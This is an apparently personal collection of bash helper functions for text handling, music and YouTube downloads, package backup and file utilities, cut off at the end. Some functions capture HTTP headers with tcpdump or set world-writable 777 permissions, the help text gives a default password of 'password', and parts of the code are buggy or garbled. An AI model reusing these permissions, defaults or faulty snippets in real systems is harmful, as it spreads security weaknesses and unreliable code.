###### Remove whitespace at the beginning and end of a string
#  @param string $1 string (optional, can also handle STDIN)
#  @return string
#  @example:    echo " That is a sentinece " | trim
function trim() {
      if [ -n "$1" ]; then
              echo $1 | sed 's/^[[:space:]]*//g' | sed 's/[[:space:]]*$//g'
      else
              cat - | sed 's/^[[:space:]]*//g' | sed 's/[[:space:]]*$//g'
      fi
}

###### Convert the first letter into uppercase letters
function ucfirst() {
      if [ -n "$1" ]; then
          perl -e 'print ucfirst('$1')'
      else
          cat - | perl -ne 'print ucfirst($_)'
      fi
}

###### Converts first letter of each word within a string into an uppercase, all other to lowercase - Usage: string ucwords( string string )
function ucwords() {
      local string="$*"
      for word in $string; do
          # Get the first character with cut and convert them into uppercase.
          local first="$( echo $word | cut -c1 | tr '[:lower:]' '[:upper:]' )"
          # Convert the rest of the word into lowercase and append them to the first character.
          word="$first$( echo $word | cut -c2-${#word} | tr '[:upper:]' '[:lower:]' )"
          # Put together the sentence.
          local phrase="$phrase $word"
      done
      echo "$phrase"
}

###### usage: upper [STRING]...
function upper() { echo ${@^^}; }

###### usage: echo hELLO wORLD | upper - convert stdin to upper case
function upper_() { tr [a-z] [A-Z]; }

####### Corporate ldapsearch for users		 #
function ldapfind() {
        ldapsearch -x -h ldap.foo.bar.com -b dc=bar,dc=com uid=$1
}

# Organize a text file				 #
#------------------------------------------////

###### sort lines in a text file
function linesort()
{
	sort -u "$1" > "$1".new
}

###### remove duplicate lines in a file (without resorting)
function removeduplines()
{
	awk '!x[$0]++' "$1" > "$1".new
}

###### Livehttpheaders (firefox addon) replacement -  usage: liveh [-i interface] [output-file] && firefox &
function liveh() { tcpdump -lnnAs512 ${1-} tcp |sed ' s/.*GET /GET /;s/.*Host: /Host: /;s/.*POST /POST /;/[GPH][EOo][TSs]/!d;w '"${2-liveh.txt}"' ' >/dev/null ; }

####### Search for music in the specified location
function locatemusic()
{
	slocate -i "${1}" | grep "$HOME/Music/";
}

####### Use a logger
function log() {
    echo "$1" 1>&2
    logger -ist "$(basename -- "$0")" "$1"
}

####### List your MACs address
function lsmac() { ifconfig -a | awk '/HWaddr/ {print $5}' ; }

# MPD music stuff
#------------------------------------------////

###### Add music files in MPD
function madd()
{
    # while [ $# -gt 0 ]; do
        # case "$1" in
            # a)
            # args[i++]=artist;;
            # b)
            # args[i++]=album;;
            # t)
            # args[i++]=title;;
            # *)
            # args[i++]=$1;;
        # esac; shift;
    # done
    # mpc search "${args[@]}" |
    mpc search "$@" |
    mpc add
}

###### Clear, add and play: MPD
function mcap()
{
    mpc clear
    # while [ $# -gt 0 ]; do
        # case "$1" in
            # a)
            # args[i++]=artist;;
            # b)
            # args[i++]=album;;
            # t)
            # args[i++]=title;;
            # *)
            # args[i++]=$1;;
        # esac; shift; done
    # mpc search "${args[@]}" |
    mpc search "$@" |
    mpc add
    mpc play
}

####### Email yourself a quick message		 #
function mailme()
{
    echo "$@" | mail -s "$1" $SERVERMAIL
}

###### Usage: mailme message : mailme "process X completed"
function mailme_() { mailx -s "$@" $USER <<< "$@"; }

####### .. And function				 
function man_()
{
    for i ; do
        xtitle The $(basename $1|tr -d .[:digit:]) manual
        command man -F -a "$i"
    done
}

###### Extended man command -  requires: sudo apt-get install w3m
function man_ext()
{
	/usr/bin/man $* || w3m -dump http://google.com/search?q="$*"\&btnI | less
}

###### Manpage to ... document - example:	man2pdf wipe	=	wipe.pdf
function man2pdf()
{
    case $1 in
	*help | "" )
	    echo -e "\nUsage:"
	    echo -e	"\nman2pdf | <manualpage> [generate a pdf from <manualpage>]\n"
	    tput sgr0
	;;
	* )
	    check_opt ps2pdf man2pdf
	    if [[ $? != "1"  && $1 ]]; then
		man -t $1 | ps2pdf - >$1.pdf
	    else	echo "No manpage given."
	    fi
	;;
    esac
}

###### example:	man2text wipe	=	wipe.txt
function man2text()
{
	man "$1" | col -b > ~/man_"$1".txt
}

####### What is the use of this switch?		 #
function manswitch() { man $1 | less -p "^ +$2"; }

####### Map a command over a list of files - map-files /lib *.so ls -la				 #
function map-files() { find $1 -name $2 -exec ${@:3} {} \ ; }

####### Meta-Backup - backup your software selection and repositories in a deb meta package
function meta-backup()
{
	## Written by Arjan van Lent aka socialdefect ## VERSION: 2.1 ## Modified by Inameiname
	DIALOG1="Did you enable extra repositories or PPAs on this system?. If you have no idea what this is just enter no"
	DIALOG2="Your backup has been created succesfully"
	DIALOG3="Something went wrong. Type bash -x meta-backup in a terminal to debug"
	DIALOG4="Would you like to use the backup for a distribution upgrade?"
	DIALOG5="Enter the codename of the distribution you'd like to upgrade to. eg. sid or maverick"
	DIALOG6="Where woud you like to save your backup files? Enter full path. eg /home/username/backups"
	mkdir -p /tmp/meta-backup/my-meta-backup/DEBIAN						## creating build directories
	  dialog --title "Meta-backup" --yesno "$DIALOG1" 8 40					## repository dialog ## question add repo's
	  dialog --title "Meta-backup" --infobox "..." 8 40
	if [ $? = 0 ] ; then
	  mkdir -p /tmp/meta-backup/my-repo-backup/etc/apt/sources.list.d
	  mkdir /tmp/meta-backup/my-repo-backup/DEBIAN
	  cp -R /etc/apt/sources.list.d/* /tmp/meta-backup/my-repo-backup/etc/apt/sources.list.d/
	  cp -R /etc/apt/sources.list /tmp/meta-backup/my-repo-backup/etc/apt/
	fi
						    ## create the control file for the repo-backup
	echo 'Section: misc
	Priority: optional
	Package: my-repo-backup
	Version: 2.1
	Maintainer: meta-backup
	Depends:
	Architecture: all
	Description: Repository/PPA backup created by meta-backup.
	 Repository/PPA backup created by meta-backup. This package can be used to install all repositories and PPAs that are installed on the computer where the backup is made.' >> /tmp/meta-backup/my-repo-backup/DEBIAN/control
						    ## create the preinst file for the repo-backup
	echo '#!/bin/sh
	set -e
	# Backup repo config
	mv /etc/apt/sources.list /etc/apt/sources.list.old
	mv /etc/apt/sources.list.d /etc/apt/sources.list.d.old' >> /tmp/meta-backup/my-repo-backup/DEBIAN/preinst
	chmod +x /tmp/meta-backup/my-repo-backup/DEBIAN/preinst
						    ## create the postinst file for the repo-backup
	echo '#!/bin/sh
	set -e
	# Pubkeys (to generate this large key, which is all of them in one: sudo apt-key exportall > /tmp/repokeys.key)
	if [ -f /tmp/repokeys.key ];then
	    rm /tmp/repokeys.key
	fi
	sudo cat > "/tmp/repokeys.key" <<"End-of-message"' >> /tmp/meta-backup/my-repo-backup/DEBIAN/postinst
	  ## get the repository keys
	apt-key exportall >> /tmp/meta-backup/my-repo-backup/DEBIAN/postinst
	echo 'End-of-message
	if which sudo apt-key >> /dev/null; then
	    if sudo apt-key add "/tmp/repokeys.key"; then
		echo "OK - repokeys key was installed"
	    else
		echo "ERROR: there was a problem installing the repokeys-key"
	    fi
	fi
	sudo rm -fv "/tmp/repokeys.key"' >> /tmp/meta-backup/my-repo-backup/DEBIAN/postinst
	chmod +x /tmp/meta-backup/my-repo-backup/DEBIAN/postinst
						    ## create the postrm file for the repo-backup
	echo '#!/bin/sh
	set -e
	# Restore repo config
	mv /etc/apt/sources.list.old /etc/apt/sources.list
	mv /etc/apt/sources.list.d.old /etc/apt/sources.list.d' >> /tmp/meta-backup/my-repo-backup/DEBIAN/postrm
	chmod +x /tmp/meta-backup/my-repo-backup/DEBIAN/postrm
	dialog --title "Meta-backup" --yesno "$DIALOG4" 8 40					## Distupgrade feature
	  dialog --title "Meta-backup" --infobox "..." 8 40
	if [ $? = 0 ] ; then
	    dialog --title "Meta-backup" --inputbox "$DIALOG5" 8 40 2> /tmp/meta-backup/upgrade
	    UPGRADE=`cat /tmp/meta-backup/upgrade`
	    dialog --title "Meta-backup" --infobox "..." 8 40
	fi
	if [ $UPGRADE = 0 ] ; then
	  MYDIST=`lsb_release -cs`
	  sed 's/$MYDIST/$UPGRADE/' /tmp/meta-backup/myrepo-backup/etc/apt/sources.list
	  sed 's/$MYDIST/$UPGRADE/' /tmp/meta-backup/myrepo-backup/etc/apt/sources.list.d/*
	fi											## end dist upgrade feature
	  DEPS=`aptitude search -F %p ~i --disable-columns | sed 's/$/,/' | tr '\n\r' ' ' | sed 's/, $//'`	## get list of inst. packages to fill DEPS variable
						    ## create the control file for the meta-backup
	echo "Section: misc
	Priority: optional
	Package: my-meta-backup
	Version: 2.1
	Maintainer: meta-backup
	Depends: $DEPS
	Architecture: all
	Description: Personal system backup created by meta-backup
	 Personal system backup created by meta-backup. This package can be used to install all applications that are installed on the computer where the backup is made. Can be used on all systems using the same base system version as used on the backup machine." >> /tmp/meta-backup/my-meta-backup/DEBIAN/control
	cd /tmp/meta-backup && dpkg --build my-meta-backup					## build and save the package(s)
	if [ $? = 0 ] ; then
	    cd /tmp/meta-backup && dpkg --build my-repo-backup
	fi
	ls /tmp/meta-backup/my-meta-backup.deb							## finish backup
	  if [ $? = 0 ] ; then
	    ERROR=no
	    else ERROR=yes
	  fi
	ls /tmp/meta-backup/my-repo-backup.deb
	  if [ $? = 0 ] ; then
	    ERROR=no
	  else ERROR=yes
	  fi
	dialog --title "Meta-backup" --inputbox "$DIALOG6" 8 40 2> /tmp/meta-backup/save	## move the debs to selected location
	    SAVE=`cat /tmp/meta-backup/save`
	    dialog --title "Meta-backup" --infobox "..." 8 40
	    ls $SAVE
	  if [ $? = 0 ] ; then
	    mv /tmp/meta-backup/*.deb $SAVE
	    chmod 777 $SAVE/my-*-backup.deb
	  else
	    mkdir -p $SAVE
	    mv /tmp/meta-backup/*.deb $SAVE
	    chmod -R 777 $SAVE
	  fi
	if [ $ERROR = no ] ; then								## Display exit message
	  dialog --title "Meta-backup" --infobox "$DIALOG2" 8 40
	 else
	  dialog --title "Meta-backup" --infobox "$DIALOG3" 8 40
	fi
	rm -rf /tmp/meta-backup									## cleaning up
}

###### Automatically inputs aliases here in'.bashrc' - Usage: mkalias <name> "<command>" Example: mkalias rm "rm -i"
function mkalias()
{
        if [[ $1 && $2 ]]
        then
        echo -e "alias $1=\"$2\"" >> ~/.bashrc
        alias $1=$2
        fi
}

# Makes directory then moves into it		 #
#------------------------------------------////

####### mkcdr
#function mkcdr() { mkdir -p -v $1 cd $1; }

####### mkdircd
function mkdircd()	{ mkdir -p "$@" && eval cd "\"\$$#\""; }

####### mktar - Creates an archive from directory
function mktar() { tar cvf  "${1%%/}.tar"     "${1%%/}/"; }

####### mktbz - Creates an archive from directory
function mktbz() { tar cvjf "${1%%/}.tar.bz2" "${1%%/}/"; }

####### mktgz - Creates an archive from directory
function mktgz() { tar cvzf "${1%%/}.tar.gz"  "${1%%/}/"; }

####### Reminder / to do list	
function mnote()
{
    echo -e "- $* \n" >> ~/todo
    echo -e "- $* \n" >> ~/todo.perm
    ~/motd.pl
}

###### Morse code encoding and decoding - this is a short Morse code decoder written as a shellscript using sed the Morse coded text should be written with spaces between the letters only good to convert from Morse code to text
function morse2text()
{
	echo $1\  | tr . 0 | sed -e {s/0----\ /1/g} -e {s/00---\ /2/g} -e {s/000--\ /3/g} -e {s/000-\ /4/g} -e {s/00000\ /5/g} -e {s/-0000\ /6/g} -e {s/--000\ /7/g} -e {s/---00\ /8/g} -e {s/----0\ /9/g} -e {s/-----\ /0/g} \
	    | sed -e {s/-0-0\ /c/g} -e {s/-000\ /b/g} -e {s/00-0\ /f/g} -e {s/0000\ /h/g} -e {s/0---\ /j/g} -e {s/0-00\ /l/g} -e {s/0--0\ /p/g} -e {s/--0-\ /q/g} -e {s/000-\ /v/g} -e {s/-00-\ /x/g} -e {s/-0--\ /y/g} -e {s/--00\ /z/g} \
	    | sed -e {s/0--\ /w/g} -e {s/-00\ /d/g} -e {s/--0\ /g/g} -e {s/-0-\ /k/g} -e {s/---\ /o/g} -e {s/0-0\ /r/g} -e {s/000\ /s/g} -e {s/00-\ /u/g} \
	    | sed -e {s/0-\ /a/g} -e {s/00\ /i/g} -e {s/--\ /m/g} -e {s/-0\ /n/g} \
	    | sed -e {s/0\ /e/g} -e {s/-\ /t/g}
}

function text2morse()
{
cat > "/tmp/text2morse.py" <<"End-of-message"
#!/usr/bin/python
# short mark, dot or 'dit' (.) = .
# longer mark, dash or 'dah' (-) = -
# intra-character gap (between the dots and dashes within a character) = no space
# short gap (between letters) = single space
# medium gap (between words) = double space
import sys
__author__="Aanand Natarajan"
# morse code dictionary
codes = {'1':".----",'2':"..---",'3':"...--",'4':"....-",'5':".....",'6':"-....",'7':"--...",'8':"---..",
'9':"----.",'0':"-----",'A':".-",'B':"-...",'C':"-.-.",'D':"-..",'E':".",'F':"..-.",'G':"--.",
'H':"....",'I':"..",'J':".---",'K':"-.-",'L':".-..",'M':"--",'N':"-.",'O':"---",'P':".--.",
'Q':"--.-",'R':".-.",'S':"...",'T':"-",'U':"..-",'V':"...-",'W':".--",'X':"-..-",'Y':"-.--",
'Z':"--..",
# punctuations
',':"--..--",'.':".-.-.-",'?':"..--..",';':"-.-.-",':':"---...",'/':"-..-.",
'-':"-....-","'":".----.",'(':"-.--.",')':"-.--.-",'!':"-.-.--",'&':".-...",
'=':"-...-",'+':".-.-.",'_':"..--.-",'"':".-..-.",'$':"...-..-",'@':".--.-.",
# space
' ':"|"}
binary = {'.':'.','-':'-',',':' ','|':'  '}
def encode(value):
    """ encodes the value into morse code """
    morse_value=""
    value.replace('*', 'X')
    value.replace('^', 'XX')
    for c in value:
       try :
               morse_value += codes[c.upper()]+','
       except :
         print "Unintended character " + c + " omitted"
    return _get_binary(morse_value)
def decode(morse_code_value):
    """ decodes the morse bytes """
    decoded_value = _decode_binary(morse_code_value)
    ascii_value=""
    for v in decoded_value.split(","):
        ascii_value += _get_key(v)
    return ascii_value
def _get_binary(value):
     binary_value = ""
     for c in value:
         binary_value += binary[c]
     return binary_value
def _get_key(value):
     """ returns the key for the given value """
     for k,v in codes.items():
         if v == value:
            return k
     return ''
def _decode_binary(binary):
    dah_replaced = binary.replace('-', '-')
    dit_replaced = dah_replaced.replace('.', '.')
    comma_replaced = dit_replaced.replace(' ', ',')
    zero_replaced = comma_replaced.replace('', '|,')
    return zero_replaced
def _do_decode(value):
    print "Decoded : "+decode(value)
def _do_encode(value):
    print "Encoded : "+encode(value)
if __name__ == "__main__":
   if len(sys.argv) > 2:
      if sys.argv[1] == 'd' :
         print "decoding"
         _do_decode(sys.argv[2])
      else:
         print "encoding"
         _do_encode(sys.argv[2])
   elif len(sys.argv) > 1:
        print "encoding"
        _do_encode(sys.argv[1])
   else:
        print "Usage : "+sys.argv[0]+" [d (decode) |e (encode)] [input string]"
End-of-message
chmod +x "/tmp/text2morse.py"
"/tmp/text2morse.py" "$1"
rm "/tmp/text2morse.py"
}

####### Computes most frequent used words of text file usage:	most_frequent "file.txt"
function most_frequent()
{
	cat "$1" | tr -cs "[:alnum:]" "\n"| tr "[:lower:]" "[:upper:]" | awk '{h[$1]++}END{for (i in h){print h[i]" "i}}'|sort -nr | cat -n | head -n 30
}

####### Mount Fat					 #
function mount_fat()
{
    local _DEF_PATH="/media/tmp1"
    if [ -n "$2" ];then
        sudo mount -t vfat -o rw,users,flush,umask=0000 "$1" "$2"
    else
        sudo mount -t vfat -o rw,users,flush,umask=0000 "$1" $_DEF_PATH
    fi
}

# Flash Video Cache Finder/Saver		 #
#------------------------------------------////

###### flash video cache finder - Find cached video while watching and without needing downloader extensions Type moz at a prompt to find the vid. Tested with Firefox (Icecat), Chromium, Midori, Uzbl, Konqueror, and Arora
function moz()
{
	# Make sure we have lsof
	if  [ -x /usr/sbin/lsof ]; then
	    LSOF=/usr/sbin/lsof
	elif [ -x /usr/bin/lsof ]; then
	    LSOF=/usr/bin/lsof
	elif [ -x /usr/local/bin/lsof ]; then
	    LSOF=/usr/local/bin/lsof
	else
	    echo "lsof was not found... exiting"
	    return 1
	fi
	# Find a process ID and go there
	PROCDIR=$( $LSOF -X | grep Flash | tail -n1 | awk '{ print $2 }' )
	# Not found? exit gracefully
	if [ "$PROCDIR" == "" ]; then
	    echo "No running instance found"
	    return 1
	fi
	cd /proc/$PROCDIR/fd
	# Stat through the file descriptors looking for video
	MQ=$( for i in *; do stat $i | head -n1 | grep "tmp/Flash" | awk '{ print $2 }'; done )
	# Another exit point
	if [ "$MQ" == "" ]; then
	    echo "No video found"
	    return 1
	fi
	#Finally, print them all out
	for i in $MQ; do
	    j=${i#?}
	    echo "Video at "${j%?}
	done
}

###### flash video cache saver - Find cached flash video and copy to user's home directory - Usage: mozz [filename] (where filename is the name you want to save as)
function mozz()
{
	# Check for given filename
	if [ $# -ne 1 ]; then
	    echo "Usage: mozz [filename]"
	    exit 65
	fi
	# Make sure we have lsof
	if  [ -x /usr/sbin/lsof ]; then
	    LSOF=/usr/sbin/lsof
	elif [ -x /usr/bin/lsof ]; then
	    LSOF=/usr/bin/lsof
	elif [ -x /usr/local/bin/lsof ]; then
	    LSOF=/usr/local/bin/lsof
	else
	    echo "lsof was not found... exiting"
	    exit 1
	fi
	# Look for flvs in user's home - if not, create one
	if [ ! -d $HOME/flvs ]; then
	    echo -e "\033[0;31mCreating " $HOME"/flvs"
	    mkdir -v $HOME"/flvs"
	fi
	# Find a process ID and go there
	PROCDIR=$( $LSOF -X | grep Flash | tail -n1 | awk '{ print $2 }' )
	# Not found? exit gracefully
	if [ "$PROCDIR" == "" ]; then
	    echo "No running instance found"
	    exit 1
	fi
	# To warn us if nothing happens
	flvflag=0
	# Stat through FDs and copy the first
	for i in /proc/$PROCDIR/fd/*; do
	    j=$( stat $i | head -n1 | grep "tmp/Flash")

	    if [ ${#j} -gt 0 ]; then
		k=$( echo $j | awk '{ print $2 }' )
		l=${k#?}
		m=$( cp -v ${l%?} $HOME"/flvs/"$1".flv" )
		echo -e "\033[0;32m$m"
		echo -e "\033[0;34mCurrent filesize: \033[0;35m"$( stat --format=%s $HOME"/flvs/"$1".flv" )
		flvflag=1
		break
	    fi
	done
	# Echo the warning
	if [ $flvflag -eq 0 ]; then
	    echo "Warning: no video was copied"
	fi
}

####### Messagebox maker	- msg "Title of Message Box" or msg "Title of Message Box" $height $width
function msg()
{
   # function for making a messagebox
   # if it has less than two arguments
   if [[ $# < 2 ]]
   then
      # use auto-size for the messagebox
      dialog --msgbox "$1" 0 0
   else
      # use specified height and width
      dialog --msgbox "$1" $2 $3
   fi
   clear
}

# Youtube stuff					 #
#------------------------------------------////

###### stream YouTube videos directly to your media player
function mtube() {
  video_id=$(curl -s $1 | sed -n "/watch_fullscreen/s;.*\(video_id.\+\)&title.*;\1;p");
  mplayer -fs $(echo "http://youtube.com/get_video.php?$video_id");
}

alias mtube_='mplayer -fs $(echo "http://youtube.com/get_video.php?$(curl -s "$1" | sed -n "/watch_fullscreen/s;.*\(video_id.\+\)&title.*;\1;p")")'

###### mps-youtube - requires "python-pip" and mps-youtube - sudo apt-get install python-pip - sudo pip install mps-youtube - sudo pip install mps-youtube --upgrade 
# alias youtube='mpsyt'

###### Youtube-dl - requires "youtube-dl" sudo apt-get install youtube-dl
# alias yt='youtube-dl -t'

###### YouTube convert and download all user's videos to MP3s on the fly
function yt2mp3() { for j in `seq 1 301`;do i=`curl -s gdata.youtube.com/feeds/api/users/$1/uploads\?start-index=$j\&max-results=1|grep -o "watch[^&]*"`;ffmpeg -i `wget youtube.com/$i -qO-|grep -o 'url_map"[^,]*'|sed -n '1{s_.*|__;s_\\\__g;p}'` -vn -ab 128k "`youtube-dl -e ${i#*=}`.mp3";done;}

function yt2mp3-chanrip() { for count in 1 51 101 151 201 251 301; do for i in $(curl -s http://gdata.youtube.com/feeds/api/users/"$1"/uploads\?start-index="$count"\&max-results=50 | grep -Eo "watch\?v=[^[:space:]\"\'\\]{11}" | uniq); do ffmpeg -i $(wget http://youtube.com/"$i" -qO- | sed -n "/fmt_url_map/{s/[\'\"\|]/\n/g;p}" | sed -n '/^fmt_url_map/,/videoplayback/p' | sed -e :a -e '$q;N;5,$D;ba' | tr -d '\n' | sed -e 's/\(.*\),\(.\)\{1,3\}/\1/') -vn -ab 128k "$(youtube-dl -e http://youtube.com/"$i").mp3"; done; done; unset count i; }

###### convert to ogg
function yt2ogg() {
    
    ffmpeg -i "$1" -vn "$1".ogg
}

###### play YouTube's first match directly
function ytplay() { args="$*";mplayer -fs $(youtube-dl -g "http://www.youtube.com$(lynx --source "http://www.youtube.com/results?search_query=${args// /+}&aq=f"|grep -m1 '<a id=.*watch?v=.*title'|cut -d\" -f4)"); }

###### download entire YouTube channel - all of a user's videos					 #
function yt-chanrip() { for i in $(curl -s http://gdata.youtube.com/feeds/api/users/"$1"/uploads | grep -Eo "watch\?v=[^[:space:]\"\'\\]{11}" | uniq); do youtube-dl --title --no-overwrites http://youtube.com/"$i"; done }

###### download YouTube music playlist and convert it to mp3 files
function yt-pl2mp3() { umph -m 50 $1 | cclive -f mp4_720p; IFS=$(echo -en "\n\b"); for track in $(ls | grep mp4 | awk '{print $0}' | sed -e 's/\.mp4//'); do (ffmpeg -i $track.mp4 -vn -ar 44100 -ac 2 -ab 320 -f mp3 $track.mp3); done; rm -f *.mp4 ; }

####### Find artist and title of music cd, UPC code given
function musiccdinfo()
{
	wget http://www.discogs.com/search?q=724349691704 -O foobar &> /dev/null ; grep \/release\/ foobar | head -2 | tail -1 | sed -e 's/^<div>.*>\(.*\)<\/a><\/div>/\1/' ; rm foobar
}

####### Query Wikipedia via console over DNS		 #
function mwiki() { blah=`echo $@ | sed -e 's/ /_/g'`; dig +short txt $blah.wp.dg.cx; }

# function mwiki() { dig +short txt `echo $*|sed 's| *|_|g'`.wp.dg.cx; }
function mwiki_() { local IFS=_; dig +short txt "${*^}".wp.dg.cx; }

####### User friendly ps
function my_ps() { ps $@ -u $USER -o pid,%cpu,%mem,bsdtime,command ; }

function pp() { my_ps f | awk '!/awk/ && $0~var' var=${1:-".*"} ; }

function psaux() {
    [ $# == 1 ] && ps aux | grep $1
}

# 'Readlink' equivalent using shell commands, and following all links	
#------------------------------------------////

###### this is equivalent to the GNU ' readlink' tool, but it supports following all links, even in different directories
# myreadlink() { [ ! -h "$1" ] && echo "$1" || (local link="$(expr "$(command ls -ld -- "$1")" : '.*-> \(.*\)$')"; cd $(dirname $1); myreadlink "$link"; }

# Editor startup, should be transparent for different versions
#------------------------------------------////
# function ned()
# {   if [[ -n `which neditc` ]] ; then
#         neditc $@
#     elif [[ -n `which nedit` ]] ; then
#         nedit $@ >&/dev/null &
#     else
#         echo NEdit does not appear to be on this computer.
#     fi
# }

####### For newbies with Linux			 #
function newbies()
	{
	read -sn 1 -p "1/10. Welcome to Ubuntu. Relax. Take a breath. Just because it's not Windows doesn't mean it will be difficult to figure out. Especially with me at the wheel. ;)

	"
	read -sn 1 -p "ﻲ/10. Ubuntu is an operating system, just like Windows (ie. XP, Vista, 7). It is a Linux distro, meaning it uses the Linux kernel, which is essentially the brains of the operating system. Ubuntu is highly customizable, and I have tweaked it to look similar to Windows, but it can look, feel, and run any way you'd like. Unlike Windows, Ubuntu is free, as well as nearly all of it's applications. Less than 1% of the world uses Linux; about half of that use Ubuntu (#1 ranked Linux distro)). And due to this, and the fact that it's structure is different than Windows, it is pretty much virus-free. Also, no Windows viruses can ever harm a Linux/Ubuntu computer. So download away.

	"
	read -sn 1 -p "3/10. Your computer's username is 'Me'. Your computer's password is 'password'. The password can easily be changed.

	"
	read -sn 1 -p "ﻴ/10. To change the password, you must change both the User and the Default Keyring passwords. First, change the user password, by going to Menu (bottom left button) -> System -> Preferences -> About Me and click 'Change Password...'. Second, change the Default Keyring password by going to Menu (bottom left button) -> Accessories -> Passwords and Encryption Keys and find 'Passwords: default', click it with the right mouse button, and select 'Change Password'.

	"
	read -sn 1 -p "5/10. Ubuntu updates and upgrades are currently set up to install important security updates as well as to pop up a box prompting you to click install when anything else requires an upgrade. Very easy. Just need password. One thing about updates on Ubuntu is it updates everything, both the operating system and the installed applications through the repositories (official and unofficial servers that house a large number of various applications and games).

	"
	read -sn 1 -p "6/10. Your home folder (similar to a 'My Documents' folder in Windows) is 'me', and can be opened either by going to Menu (bottom left button) -> Places -> Home Folder, OR double-clicking the left mouse button on 'me's Home' on the Desktop. The 'Temp' folder inside is what is set for all downloads and is my ideal for using as the working folder for whatever you want. In the 'Pictures' folder, there is a 'Backgrounds' folder that includes all of your desktop backgrounds and is where you can add or remove backgrounds.

	"
	read -sn 1 -p "7/10. There are some application subsitutes to mention: [OpenOffice -> Microsoft Office], [(Totem) Movie Player -> Windows Media Player], [Evolution Mail -> Microsoft Outlook or Outlook Express], [Nautilus File Manager -> Windows Explorer].

	"
	read -sn 1 -p "8/10. If you'd like to add/remove software, Ubuntu has a very easy way to do so. Just go to the Ubuntu Software Center, by going to Menu (bottom left button) -> Ubuntu Software Center. It lists all the software found in the repositories.

	"
	read -sn 1 -p "9/10. If you wish to open this extremely helpful text again, it's as easy as: single-clicking the right mouse button anywhere on the Desktop (or in Nautilus File Manager) -> Scripts -> My_Scripts -> For-Newbies -> For-Newbies.sh.

	"
	read -sn 1 -p "10/10. To get rid of this damn script at startup because you are sick of seeing it every time you log into your computer, go to Menu (bottom left button) -> Other -> Startup Applications and uncheck 'For Newbies'.

	"
}

####### Download all data from Google Ngram Viewer
function ngramviewerdl()
{
	wget -qO - http://ngrams.googlelabs.com/datasets | grep -E href='(.+\.zip)' | sed -r "s/.*href='(.+\.zip)'.*/\1/" | uniq | while read line; do `wget $line`; done
}

######## Run command detached from terminal and without output - Usage: nh
function nh() {
    nohup "$@" &>/dev/null &
}

####### Stupid simple note taker			 #
function note()
{
        # if file doesn't exist, create it
        [ -f $HOME/.notes ] || touch $HOME/.notes
        # no arguments, print file
        if [ $# = 0 ]
        then
                cat $HOME/.notes
        # clear file
        elif [ $1 = -c ]
        then
                > $HOME/.notes
        # add all arguments to file
        else
                echo "$@" >> $HOME/.notes
        fi
}

####### Open a new terminal tab in the same directory as the current	- SOURCE => http://pastie.caboo.se/188640 AND => http://justinfrench.com/index.php?id=231
function nth() {
  osascript -e "
  Tell application \"Terminal\"
    activate
    tell application \"System Events\" to tell process \"Terminal\" to keystroke \"t\" using command down
    do script with command \"cd '$(pwd)'; clear\" in selected tab of the front window
  end tell"
}

####### Remove apps with style: nuke it from orbit
#------------------------------------------////

###### You can't stand programs x, y, and z. Remove all trace of their existence by adding this function to your config. It will remove the cruft, the settings, #and such and such. This function doesn't even give a damn about you trying to remove programs that don't exist: it'll just for loop to the next one on #your hit list.
function nuke() { if [ $(whoami) != "root" ] ; then for x in $@; do sudo apt-get autoremove --purge $x; done; else for x in $@; do apt-get autoremove --purge $x; done; fi }

####### Echo the lines of a file preceded by line	number
function numberLines() { perl -pe 's/^/$. /' "$@" ; }

####### How many pages will my text files print on?
function numpages() { echo $(($(wc -l $* | sed -n 's/ total$//p')/60)); }

####### Open a GUI app from CLI
function open() {
  $1 >/dev/null 2>&1 &
}

####### Display file contents either with less or cat
# based on number of lines			 #
#------------------------------------------////

function out() { tmp=$(mktemp); awk '{print $0}' > $tmp; if [ $(wc -l $tmp | awk '{print $1}') -gt $(tput lines) ]; then less $tmp; else cat $tmp; fi; rm -fr $tmp; }

####### Convert a single-page PDF to a hi-res PNG, at 300dpi - If you skip this part: -density 300x300, you'll get a very lo-res image
function pdf2png()
{
	convert -density 300x300 $1 $2
}

####### ThePirateBay.org torrent search	
function piratebay()
{
	lynx -dump http://thepiratebay.org/search/$@|awk '/TPB.torrent$/ {print $2}'
}

####### Optimize PNG files
function pngoptim()
{
		  NAME_="pngoptim"
		  HTML_="optimize png files"
	    PURPOSE_="reduce the size of a PNG file if possible"
	   SYNOPSIS_="$NAME_ [-hl] <file> [file...]"
	   REQUIRES_="standard GNU commands, pngcrush"
	    VERSION_="1.0"
		  DATE_="2004-06-29; last update: 2004-12-30"
		AUTHOR_="Dawid Michalczyk <[email protected]>"
		   URL_="www.comp.eonworks.com"
	   CATEGORY_="gfx"
	   PLATFORM_="Linux"
		 SHELL_="bash"
	 DISTRIBUTE_="yes"
	# This program is distributed under the terms of the GNU General Public License
	usage() {
	echo >&2 "$NAME_ $VERSION_ - $PURPOSE_
	Usage: $SYNOPSIS_
	Requires: $REQUIRES_
	Options:
		-h, usage and options (this help)
		-l, see this script"
	exit 1
	}
	# tmp file set up
	tmp_1=/tmp/tmp.${RANDOM}$$
	# signal trapping and tmp file removal
	trap 'rm -f $tmp_1 >/dev/null 2>&1' 0
	trap "exit 1" 1 2 3 15
	# var init
	old_total=0
	new_total=0
	# arg handling and main execution
	case "$1" in
	    -h) usage ;;
	    -l) more $0; exit 1 ;;
		*.*) # main execution
		   # check if required command is in $PATH variable
		   which pngcrush &> /dev/null
		   [[ $? != 0 ]] && { echo >&2 required \"pngcrush\" command is not in your PATH; exit 1; }
		   for a in "$@";do
			  if [ -f $a ] && [[ ${a##*.} == [pP][nN][gG] ]]; then
				 old_size=$(ls -l $a | { read b c d e f g; echo $f ;} )
				 echo -n "${NAME_}: $a $old_size -> "
				 pngcrush -q $a $tmp_1
				 rm -f -- $a
				 mv -- $tmp_1 $a
				 new_size=$(ls -l $a | { read b c d e f g; echo $f ;} )
				 echo $new_size bytes
				 (( old_total += old_size ))
				 (( new_total += new_size ))
			  else
				 echo ${NAME_}: file $a either does not exist or is not a png file
			  fi
		   done ;;
	    *) echo ${NAME_}: skipping $1 ; continue ;;
	esac
	percentage=$(echo "scale = 2; ($new_total*100)/$old_total" | bc)
	reduction=$(echo $(( old_total - new_total )) \
	| sed '{ s/$/@/; : loop; s/\(...\)@/@.\1/; t loop; s/@//; s/^\.//; }')
	echo "${NAME_}: total size reduction: $reduction bytes (total size reduced to ${percentage}%)"
}

####### Display text of ODF document in terminal   $1 = ODF file
function o3() { unzip -p "$1" content.xml | o3totxt | utf8tolatin1; }

####### Random data overwriting			 #
#------------------------------------------////
function overwriter()
{
	# The author of this script, Elias Amaral,
	# claims no copyright over it.
